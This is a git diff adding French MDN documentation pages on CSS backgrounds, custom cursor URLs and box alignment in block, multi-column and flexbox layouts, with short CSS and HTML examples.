+<p>Essayez de redimensionner la fenêtre de votre navigateur afin de voir la valeur <code>contain</code> en action (Votre navigateur doit supporter la mise à l'échelle d'images d'arrière-plan).</p>
+
+<figure>
+<p>{{EmbedLiveSample("contain", "100%", "220")}}</p>
+</figure>
+
+<pre class="brush:html">&lt;div class="bgSizeContain"&gt;
+  &lt;p&gt;Redimensionnez la fenêtre de votre navigateur.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush:css;highlight:[4]">.bgSizeContain {
+  height: 200px;
+  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
+  background-size: contain;
+  border: 2px solid darkgray;
+  color: #000; text-shadow: 1px 1px 0 #fff;
+}</pre>
+
+<h3 id="cover"><code>cover</code></h3>
+
+<p>La valeur <code>cover</code> assure que l'image d'arrière-plan soit aussi petite que possible, tout en maintenant ses dimensions plus grandes ou égales à la taille de l'élément conteneur. L'échelle entre la largeur et la hauteur est maintenue.</p>
+
+<p>{{EmbedLiveSample("cover", "100%", "220")}}</p>
+
+<p>Cet exemple utilise le document HTML et la feuille de style suivants :</p>
+
+<pre class="brush:html">&lt;div class="bgSizeCover"&gt;
+  &lt;p&gt;Redimensionnez la fenêtre de votre navigateur.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush:css;highlight:[4]">.bgSizeCover {
+  height: 200px;
+  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
+  background-size: cover;
+  border: 2px solid darkgray;
+  color: #000; text-shadow: 1px 1px 0 #fff;
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("background")}}</li>
+</ul>
diff --git a/files/fr/web/css/css_backgrounds_and_borders/utiliser_plusieurs_arrière-plans/index.html b/files/fr/web/css/css_backgrounds_and_borders/utiliser_plusieurs_arrière-plans/index.html
new file mode 100644
index 0000000000..fd4961c49f
--- /dev/null
+++ b/files/fr/web/css/css_backgrounds_and_borders/utiliser_plusieurs_arrière-plans/index.html
@@ -0,0 +1,55 @@
+---
+title: Utiliser plusieurs arrière-plans
+slug: Web/CSS/CSS_Backgrounds_and_Borders/Utiliser_plusieurs_arrière-plans
+tags:
+  - CSS
+  - Guide
+  - Reference
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<div>{{CSSRef}}</div>
+
+<p>Avec <a href="/fr/docs/Web/CSS/CSS3">CSS3</a>, on peut appliquer plusieurs arrière-plans à des éléments. Ceux-ci seront empilés les uns sur les autres (le premier de la liste étant le plus « haut » dans la pile et le dernier étant le plus « bas ». Seul le dernier arrière-plan peut décrire une couleur.</p>
+
+<p>Pour cela, il suffit simplement d'utiliser une liste de valeur avec {{cssxref("background")}} :</p>
+
+<pre class="brush: css">.maClasse {
+  background: background1, background 2, ..., backgroundN;
+}
+</pre>
+
+<p>Cela fonctionne aussi bien avec la propriété raccourcie {{cssxref("background")}} qu'avec les propriétés détaillées, exception faite de {{cssxref("background-color")}}. On peut donc utiliser une liste de valeurs, chacune pour un arrière-plan différent, pour les propriétés suivantes : {{cssxref("background")}}, {{cssxref("background-attachment")}}, {{cssxref("background-clip")}},<code> </code>{{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on cumule trois arrière-plans : le logo de Firefox, un dégradé linéaire (cf. {{cssxref("linear-gradient")}}) et une image de bulles.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple_multi_ar {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat, no-repeat, no-repeat;
+  background-position: bottom right, left, right;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple_multi_ar"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple','100%','400')}}</p>
+
+<p>Comme on peut le voir ici, le logo qui est le premier élément de la liste apparaît en dessus, il est suivi par le dégradé puis par les bulles. Chacune des propriétés ({{cssxref("background-repeat")}} et {{cssxref("background-position")}}) s'applique aux arrière-plans correspondant (la première valeur de la liste pour le premier arrière-plan, etc.).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si l'image n'apparaît pas sous CodePen, cliquez sur le bouton <em>Tidy</em> de la section CSS.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Utiliser les dégradés CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/css_basic_user_interface/index.html b/files/fr/web/css/css_basic_user_interface/index.html
new file mode 100644
index 0000000000..2e2abcc1f1
--- /dev/null
+++ b/files/fr/web/css/css_basic_user_interface/index.html
@@ -0,0 +1,75 @@
+---
+title: CSS Basic User Interface
+slug: Web/CSS/CSS_Basic_User_Interface
+tags:
+  - Aperçu
+  - CSS
+  - CSS Basic User Interface
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Basic_User_Interface
+---
+<p>{{CSSRef}}</p>
+
+<p><em><strong>CSS Basic User Interface</strong></em> est un module de la spécification CSS qui décrit les fonctionnalités et le rendu associés aux fonctionnalités de l'interface utilisateur.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("appearance")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("ime-mode")}} {{Deprecated_Inline}}</li>
+ <li>{{CSSxRef("nav-down")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-left")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-right")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-up")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("outline")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-offset")}}</li>
+ <li>{{CSSxRef("resize")}}</li>
+ <li>{{CSSxRef("text-overflow")}}</li>
+ <li>{{CSSxRef("user-select")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Basic_User_Interface/Utilisation_d_URL_pour_la_propriété_cursor">Utiliser des URL pour la propriété <code>cursor</code></a></dt>
+ <dd>Ce guide décrit comment utiliser des URL avec la propriété {{CSSxRef("cursor")}} afin de créer des curseurs personnalisés.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Basic UI")}}</td>
+   <td>{{Spec2("CSS4 Basic UI")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Basic UI")}}</td>
+   <td>{{Spec2("CSS3 Basic UI")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "ui.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_basic_user_interface/utilisation_d_url_pour_la_propriété_cursor/index.html b/files/fr/web/css/css_basic_user_interface/utilisation_d_url_pour_la_propriété_cursor/index.html
new file mode 100644
index 0000000000..69b0043c13
--- /dev/null
+++ b/files/fr/web/css/css_basic_user_interface/utilisation_d_url_pour_la_propriété_cursor/index.html
@@ -0,0 +1,104 @@
+---
+title: Utilisation d'URL pour la propriété cursor
+slug: Web/CSS/CSS_Basic_User_Interface/Utilisation_d_URL_pour_la_propriété_cursor
+tags:
+  - CSS
+  - Débutant
+  - Guide
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<div>{{CSSRef}}</div>
+
+<p>Gecko 1.8 ({{geckoRelease("1.8")}} prend en charge des valeurs d'URL pour manipuler la propriété {{cssxref("cursor")}}. Ceci permet de définir des images arbitraires comme curseurs de souris — n'importe quel format d'image géré par Gecko peut être utilisé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La syntaxe de base (CSS 2.1) pour cette propriété est :</p>
+
+<pre class="syntaxbox">{{CSSxRef("cursor")}}: <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> {{CSSxRef("&lt;url&gt;")}} , <a href="/fr/docs/Web/CSS/Syntaxe_de_définition_des_valeurs">]</a><a href="/fr/docs/Web/CSS/Syntaxe_de_définition_des_valeurs">*</a> {{CSSxRef("cursor", "<var>&lt;keyword&gt;</var>", "#Valeurs")}}</pre>
+
+<p>Ceci signifie que zéro URL ou plus peuvent être définies en étant séparées par des virgules et doivent être suivies par un des mots-clés comme <code>auto</code> ou <code>pointer</code>.</p>
+
+<p>On pourra ainsi utiliser :</p>
+
+<pre class="brush: css">cursor: url(toto.cur), url(http://www.exemple.org/truc.gif), auto;
+</pre>
+
+<p>En utilisant cette règle, le moteur essaiera d'abord de charger <code>toto.cur</code>. Si ce fichier n'existe pas ou si, pour une autre raison, l'URL n'est pas valable, ce sera celle de <code>truc.gif</code> qui sera essayée. Si cette valeur ne peut pas être utilisée non plus, le curseur correspondant à la valeur <code>auto</code> sera utilisé.</p>
+
+<p>Le support de la <a class="external" href="https://www.w3.org/TR/css3-ui/#cursor">syntaxe</a> CSS3 pour les valeurs du curseur a été ajoutée à partir de Firefox 1.5.</p>
+
+<pre class="syntaxbox">{{CSSxRef("cursor")}}: <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> {{CSSxRef("&lt;uri&gt;")}} <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> &lt;x&gt; &lt;y&gt; <a href="/fr/docs/Web/CSS/Syntaxe_de_définition_des_valeurs">]</a><a href="/fr/docs/Web/CSS/Syntaxe_de_définition_des_valeurs">?</a> , <a href="/fr/docs/Web/CSS/Syntaxe_de_définition_des_valeurs">]</a><a href="/fr/docs/Web/CSS/Syntaxe_de_définition_des_valeurs">*</a> {{CSSxRef("cursor", "<var>&lt;keyword&gt;</var>", "#Valeurs")}}
+</pre>
+
+<p>Cette syntaxe permet d'indiquer les coordonnées des points chauds du curseur qui seront maintenues aux frontières de l'image du curseur. Si aucun n'est indiqué, les coordonnées du point chaud sont lus à partir du fichier lui-même (pour les fichier CUR et XBM) ou sont réglés au coin supérieur gauche de l'image. Un exemple de la syntaxe CSS3 est:</p>
+
+<pre class="eval">cursor: url(toto.png) 4 12, auto;
+</pre>
+
+<p>Le premier nombre est la coordonnée <var>x</var>, le second numéro est la coordonnée <var>y</var>. L'exemple va régler le point chaud afin d'être le pixel (4,12) par rapport au (0,0) en haut à gauche.</p>
+
+<h2 id="Limitations">Limitations</h2>
+
+<p>Tous les formats d'image pris en charge par Gecko peuvent être utilisés : PNG, GIF, JPG, BMP, CUR, etc. Le format ANI n'est pas pris en charge et les images animées PNG ou GIF ne créeront pas de curseurs animés.</p>
+
+<div class="note">
+<p><strong>Note :</strong> À partir de Gecko 2.0 {{geckoRelease("2.0")}}, Gecko prend en charge les images SVG pour les curseurs. Mais les dimensions de l'image SVG doivent être explicites et non relative. Les instructions JavaScript ou CSS, les déclarations SMIL contenues dans l'image SVG sont ignorées. SVG ne peut donc pas être utilisé pour créer un curseur animé.</p>
+</div>
+
+<p>Pour Gecko, la taille limite des curseurs est 128 pixels par 128 pixels. Les images plus grandes seront ignorées. Toutefois, certains systèmes d'exploitation sont limités à des images de 32 pixels par 32 pixels.</p>
+
+<p>Les curseurs translucides ne sont pas pris en charge par Windows avant Windows XP.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Microsoft Internet Explorer 6.0 prend également en charge les valeurs URI pour la propriété <code>cursor</code>. Toutefois :</p>
+
+<ul>
+ <li>IE ne prend en charge que les formats CUR et ANI</li>
+ <li>IE ne prend pas en charge la syntaxe CSS3 avec les coordonnées x et y. L'image du curseur et le reste de la propriété sont alors ignorés.</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Version minimum</th>
+   <th>Formats</th>
+   <th>Coordonnées x-y</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>6.0</strong></td>
+   <td><code>.cur | .ani</code></td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko), Windows et Linux</td>
+   <td><strong>1.5</strong> (1.8)</td>
+   <td><code>.cur | .png | .gif | .jpg</code></td>
+   <td>1.5 (1.8)</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>4.0</strong> (2.0)</td>
+   <td><code>.cur | .png | .gif | .jpg | .svg</code></td>
+   <td>(Gecko 2.0)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td rowspan="2">Safari (Webkit)</td>
+   <td><strong>3.0</strong> (522-523)</td>
+   <td><code>.cur | .png | .gif | .jpg</code></td>
+   <td rowspan="2">3.0 (522-523)</td>
+  </tr>
+  <tr>
+   <td colspan="2">OS X 10.5 pour la prise en charge des fichiers <code>.cur</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_bloc_absolue_tableau/index.html b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_bloc_absolue_tableau/index.html
new file mode 100644
index 0000000000..45945b3040
--- /dev/null
+++ b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_bloc_absolue_tableau/index.html
@@ -0,0 +1,77 @@
+---
+title: 'L''alignement des boîtes pour les dispositions : en bloc, absolue, en tableau'
+slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_bloc_absolue_tableau
+tags:
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Block_Abspos_Tables
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le module de spécification <em><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></em> détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes dans une disposition en bloc, y compris pour les éléments flottants, les éléments positionnés et les tableaux. Cette page détaille les aspects spécifiques relatifs à l'alignement et à la disposition en bloc. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">la page principale sur cette spécification</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> À l'heure où cet article est écrit (juin 2018), il n'y a pas de réelle prise en charge des propriétés d'alignement pour la disposition en bloc. Ce document détaille les intentions de la spécification dans un souci d'exhaustivité mais il est probable que des modifications soient apportées au fur et à mesure de l'évolution de la spécification et de l'implémentation par les navigateurs.</p>
+</div>
+
+<h2 id="align-content_et_justify-content"><code>align-content</code> et <code>justify-content</code></h2>
+
+<p>La propriété {{cssxref("justify-content")}} ne s'applique pas aux conteneurs en bloc ou aux cellules de tableau.</p>
+
+<p>La propriété {{cssxref("align-content")}} s'applique sur l'axe de bloc afin d'aligne les contenus de la boîte dans le conteneur. Si une méthode de distribution telle que <code>space-between</code>, <code>space-around</code> ou <code>space-evenly</code> est utilisée, c'est la méthode de recours qui sera utilisée car tout le contenu est considéré comme <a href="/fr/docs/Web/CSS/CSS_Box_Alignment#Le_sujet_de_l'alignement_(alignment_subject)">un seul sujet d'alignement</a>.</p>
+
+<h2 id="justify-self"><code>justify-self</code></h2>
+
+<p>La propriété {{cssxref("justify-self")}} est utilisée afin d'aligner un objet au sein de son bloc englobant selon l'axe en ligne.</p>
+
+<p>Cette propriété ne s'applique pas aux éléments flottants ou aux cellules de tableau.</p>
+
+<h3 id="Éléments_positionnés_de_façon_absolue">Éléments positionnés de façon absolue</h3>
+
+<p>Le conteneur d'alignement correspond au bloc positionné en prenant en compte les valeurs de décalage <code>top</code>, <code>left</code>, <code>bottom</code> et <code>right</code>. Le mot-clé <code>normal</code> est considéré équivalent à <code>stretch</code> sauf si l'élément positionné est un élément remplacé, auquel cas il est équivalent à <code>start</code>.</p>
+
+<h2 id="align-self"><code>align-self</code></h2>
+
+<p>La propriété {{cssxref("align-self")}} ne s'applique pas aux boîtes de bloc (y compris pour les éléments flottants) car il y a plus d'un objet sur l'axe de bloc. Elle ne s'applique pas non plus aux cellules des tableaux.</p>
+
+<h3 id="Éléments_positionnés_de_façon_absolue_2">Éléments positionnés de façon absolue</h3>
+
+<p>Le conteneur d'alignement correspond au bloc positionné en prenant en compte les valeurs de décalage <code>top</code>, <code>left</code>, <code>bottom</code> et <code>right</code>. Le mot-clé <code>normal</code> est considéré équivalent à <code>stretch</code> sauf si l'élément positionné est un élément remplacé, auquel cas il est équivalent à <code>start</code>.</p>
+
+<h2 id="Utilisation_actuelle_de_l'alignement_pour_ces_dispositions">Utilisation actuelle de l'alignement pour ces dispositions</h2>
+
+<p>À l'heure actuelle, les navigateurs n'implémentent pas l'alignement des boîtes pour la disposition en bloc. Il faut donc, pour le moment, utiliser les méthodes existantes ou placer un élément dans un conteneur flexible afin de tirer parti des fonctionnalités d'alignement des boîtes flexibles.</p>
+
+<p>Avant l'apparition des boîtes flexibles (<em>flexbox</em>), l'alignement horizontal était généralement obtenu avec des marges automatiques. En effet, {{cssxref("margin")}} avec <code>auto</code> absorbera tout l'espace disponible sur la dimension souhaité et avec une marge droite et une marge gauche automatiques, le bloc sera placé au centre :</p>
+
+<pre class="brush: css">.container {
+  width: 20em;
+  margin-left: auto;
+  margin-right: auto;
+}
+</pre>
+
+<p>Dans une disposition en tableau, il faut accéder à la propriété {{cssxref("vertical-align")}} afin d'aligner le contenu d'une cellule dans celle-ci.</p>
+
+<p>Pour de nombreux scénarios, transformer le conteneur de bloc en élément flexible fournira les options d'alignement souhaitées. Dans l'exemple qui suit, on dispose d'un conteneur avec un seul élément et ce conteneur a été transformé en élément flexible afin d'utiliser les propriétés d'alignement.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+</ul>
+
+<h3 id="Termes_du_glossaire">Termes du glossaire</h3>
+
+<ul>
+ <li><a href="/fr/docs/Glossary/Alignment_Subject">Sujet d'alignement</a></li>
+ <li><a href="/fr/docs/Glossary/Alignment_Container">Conteneur d'alignement</a></li>
+ <li><a href="/fr/docs/Glossary/Fallback_Alignment">Alignement de recours</a></li>
+</ul>
diff --git a/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_colonnes/index.html b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_colonnes/index.html
new file mode 100644
index 0000000000..36bee5640e
--- /dev/null
+++ b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_colonnes/index.html
@@ -0,0 +1,51 @@
+---
+title: L'alignement des boîtes avec une disposition en colonnes
+slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_colonnes
+tags:
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Multi-column_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le module de spécification <em><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></em> détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec <a href="/fr/docs/Web/CSS/Colonnes_CSS">une disposition multi-colonnes</a>. Cette page détaille les aspects spécifiques relatifs à l'alignement et au module <em>Multi-Column Layout</em>. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">la page principale sur cette spécification</a>.</p>
+
+<p>Pour une disposition en colonne, le conteneur d'alignement est le conteneur de colonnes. Le sujet d'alignement correspond à la boîte de colonne. Les propriétés qui s'appliquent pour ce type de disposition sont détaillées ci-après.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Le module de spécification de la disposition en colonnes (<em>Multi-Column Layout</em>) précède celui pour l'alignement des boîtes. Aussi, certaines des propriétés décrites ici, bien que spécifiées afin de fonctionner pour ce mode de disposition, peuvent ne pas encore être prises en charge par les navigateurs.</p>
+</div>
+
+<h2 id="align-content_et_justify-content"><code>align-content</code> et <code>justify-content</code></h2>
+
+<p>La propriété {{cssxref("align-content")}} s'applique à l'axe de bloc et la propriété {{cssxref("justify-content")}} s'applique à l'axe en ligne. Tout espace ajouté entre les colonnes selon la distribution choisie sera ajouté entre les colonnes. Les gouttières pourront donc être plus larges que celles indiquées par la propriété {{cssxref("column-gap")}}.</p>
+
+<p>Utiliser <code>justify-content</code> avec une valeur différente de <code>normal</code> ou <code>stretch</code> entraînera un dimensionnement des colonnes avec la valeur de {{cssxref("column-width")}}, définie sur le conteneur multi-colonnes. L'espace restant sera alors réparti selon la valeur de <code>justify-content</code>.</p>
+
+<h2 id="column-gap"><code>column-gap</code></h2>
+
+<p>La propriété {{cssxref("column-gap")}} a été définie dans des versions antérieures du module de spécification pour la disposition multi-colonne. Son rôle a été généralisé avec les autres propriétés d'espacement dans le module d'alignement des boîtes.</p>
+
+<p>On notera que, si les autres modes de disposition utilisent une valeur initiale de <code>0</code> pour <code>column-gap</code>, la disposition multi-colonne utilise une valeur initiale de <code>1em</code>.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Termes_du_glossaire">Termes du glossaire</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/fr/docs/Glossary/Alignment_Subject">Sujet d'alignement</a></li>
+ <li><a href="/fr/docs/Glossary/Alignment_Container">Conteneur d'alignement</a></li>
+ <li><a href="/fr/docs/Glossary/Fallback_Alignment">Alignement de recours</a></li>
+</ul>
+</div>
diff --git a/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_flexbox/index.html b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_flexbox/index.html
new file mode 100644
index 0000000000..8acebc248d
--- /dev/null
+++ b/files/fr/web/css/css_box_alignment/alignement_boîtes_disposition_flexbox/index.html
@@ -0,0 +1,119 @@
+---
+title: L'alignement des boîtes avec Flexbox
+slug: Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox
+tags:
+  - CSS
+  - Guide
+  - flexbox
+translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le module de spécification <em><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></em> détaille le fonctionnement de l'alignement selon les différentes méthodes de disposition. Dans cet article, nous verrons comment fonctionne l'alignement des boîtes avec les boîtes flexibles (<em>flexbox</em>). Cette page détaille les aspects spécifiques relatifs à l'alignement et aux boîtes flexibles. Pour une description générale des fonctionnalités communes pour les différentes dispositions, voir <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">la page principale sur cette spécification</a>.</p>
+
+<h2 id="Exemple_simple">Exemple simple</h2>
+
+<p>Dans cet exemple, trois objets flexibles sont alignés sur l'axe principal avec {{cssxref("justify-content")}} et sur l'axe secondaire grâce à {{cssxref("align-items")}}. Le premier objet surcharge l'alignement fourni par <code>align-items</code>en utilisant <code>center</code> comme valeur pour la propriété {{cssxref("align-self")}}.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}</p>
+
+<h2 id="Liens_entre_les_axes_et_flex-direction">Liens entre les axes et <code>flex-direction</code></h2>
+
+<p>Les boîtes flexibles respectent le mode d'écriture du document. Aussi, si on travaille sur un document en français et qu'on utilise {{cssxref("justify-content")}} avec <code>flex-end</code>, les éléments seront alignés à la fin du conteneur flexible. Si on utilise {{cssxref("flex-direction")}} avec la valeur <code>row</code>, cet alignement suivra la direction en ligne (celle selon laquelle le texte est écrit).</p>
+
+<p>Toutefois, <em>Flexbox</em> permet de modifier l'axe principal en utilisant <code>flex-direction</code> avec la valeur <code>column</code>. Dans ce cas, <code>justify-content</code> alignera les objets selon la direction de bloc. Aussi, mieux vaut penser en termes d'axes principal (<em>main axis</em>) et d'axe secondaire (<em>cross axis</em>) lorsqu'on travaille sur des boîtes flexibles :</p>
+
+<ul>
+ <li>L'axe principal correspond à la direction fournie par <code>flex-direction</code> et l'alignement sur cet axe s'effectue avec <code>justify-content</code></li>
+ <li>L'axe secondaire est orthogonal à l'axe principal et l'alignement s'effectue avec <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li>
+</ul>
+
+<h3 id="Alignement_sur_l'axe_principal">Alignement sur l'axe principal</h3>
+
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+</ul>
+
+<h3 id="Alignement_sur_l'axe_secondaire">Alignement sur l'axe secondaire</h3>
+
+<ul>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+</ul>
+
+<h3 id="Absence_de_justify-self_pour_Flexbox">Absence de <code>justify-self</code> pour <em>Flexbox</em></h3>
+
+<p>Sur l'axe principal et avec les boîtes flexibles, le contenu est considéré comme un seul groupe. La quantité d'espace nécessaire est calculée pour disposer les différents éléments et l'espace restant peut être réparti. La propriété <code>justify-content</code> contrôle la répartition de cet espace. Avec <code>justify-content: flex-end</code>, l'espace supplémentaire sera ajouté avant les éléments et avec <code>justify-content: space-around</code>, il sera placé de chaque côté.</p>
+
+<p>Autrement dit, <code>justify-self</code> n'a pas de sens pour les boîtes flexibles car le contenu est considéré comme un seul « tenant » qui est déplacé.</p>
+
+<p>Pour l'axe secondaire, <code>align-self</code> peut être pertinent car il peut y avoir un espace supplémentaire sur cet axe et selon lequel on peut déplacer un seul des éléments.</p>
+
+<h2 id="Alignement_et_marges_automatiques">Alignement et marges automatiques</h2>
+
+<p><code>justify-self</code> pourrait être utile lorsqu'on souhaite séparer un ensemble d'éléments flexibles pour créer un menu de navigation. Dans ce cas, on peut utiliser des marges automatiques avec <code>auto</code>. En effet, une marge avec cette valeur consommera tout l'espace disponible sur cette dimension. En définissant les marges gauche et droite avec <code>auto</code>, les deux côtés du bloc occuperont tout l'espace disponible et la boîte sera alors placée au centre.</p>
+
+<p>En utilisant {{cssxref("margin")}} avec <code>auto</code> sur un élément d'un ensemble d'éléments flexibles alignés vers le début, on peut créer un tel effet. Dès qu'il n'y a plus d'espace disponible pour les marges automatiques, l'objet se comporte comme les autres objets flexibles et se réduit pour s'inscrire dans l'espace disponible.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}</p>
+
+<h2 id="Les_propriétés_gap">Les propriétés <code>gap</code></h2>
+
+<ul>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+
+<h3 id="Créer_des_gouttières_fixes_entre_chaque_objet">Créer des gouttières fixes entre chaque objet</h3>
+
+<p>Sur l'axe principal, la propriété <code>column-gap</code> permettra de créer des gouttières de taille fixe de chaque côté de l'objet.</p>
+
+<p>Sur l'axe secondaire, <code>row-gap</code> permettra d'espace les lignes adjacentes. Aussi, il faut que <code>flex-wrap</code> vaille <code>wrap</code> afin que <code>row-gap</code> ait un effet.</p>
+
+<div class="note">
+<p><strong>Note :</strong> À l'heure où ces lignes sont écrites, seul Firefox 63 prend en charge les propriétés <code>gap</code> pour les boîtes flexibles. En effet, le comportement de ces propriétés pour les dispositions flexibles est un ajout récent à la spécification.</p>
+</div>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("place-content")}}t</li>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Termes_du_glossaire">Termes du glossaire</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/fr/docs/Glossaire/Axe_transversal">Axe secondaire</a></li>
+ <li><a href="/fr/docs/Glossaire/Axe_principal">Axe principal</a></li>
+</ul>
+</div>
+
